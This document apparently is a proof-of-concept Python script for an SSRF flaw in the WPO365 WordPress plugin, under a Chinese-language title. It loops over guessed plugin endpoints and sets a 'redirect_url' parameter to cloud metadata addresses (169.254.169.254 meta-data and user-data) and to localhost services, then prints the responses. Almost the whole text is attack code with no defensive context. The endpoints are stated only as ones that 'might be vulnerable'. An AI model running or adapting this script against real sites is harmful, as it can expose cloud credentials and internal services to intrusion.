CVE-2025-67961 WordPress WPO365插件SSRF漏洞

import requests # CVE-2025-67961 SSRF PoC for WPO365 <= 40.0 # Target: WordPress site with vulnerable WPO365 plugin target_url = "http://target-wordpress-site.com" # SSRF payload to fetch internal metadata (AWS/Azure/GCP) ssrf_payloads = [ "http://169.254.169.254/latest/meta-data/", "http://169.254.169.254/latest/user-data/", "http://127.0.0.1/admin/", "http://localhost:8080/", ] # Common WPO365 endpoints that might be vulnerable endpoints = [ "/wp-json/wpo365/v1/sso/callback", "/?rest_route=/wpo365/v1/auth", "/wp-admin/admin-ajax.php?action=wpo365_sso" ] for endpoint in endpoints: for payload in ssrf_payloads: params = { "redirect_url": payload, "state": "test" } try: response = requests.get( target_url + endpoint, params=params, timeout=10, allow_redirects=False ) print(f"Endpoint: {endpoint}") print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:200]}") print("---") except requests.RequestException as e: print(f"Error: {e}")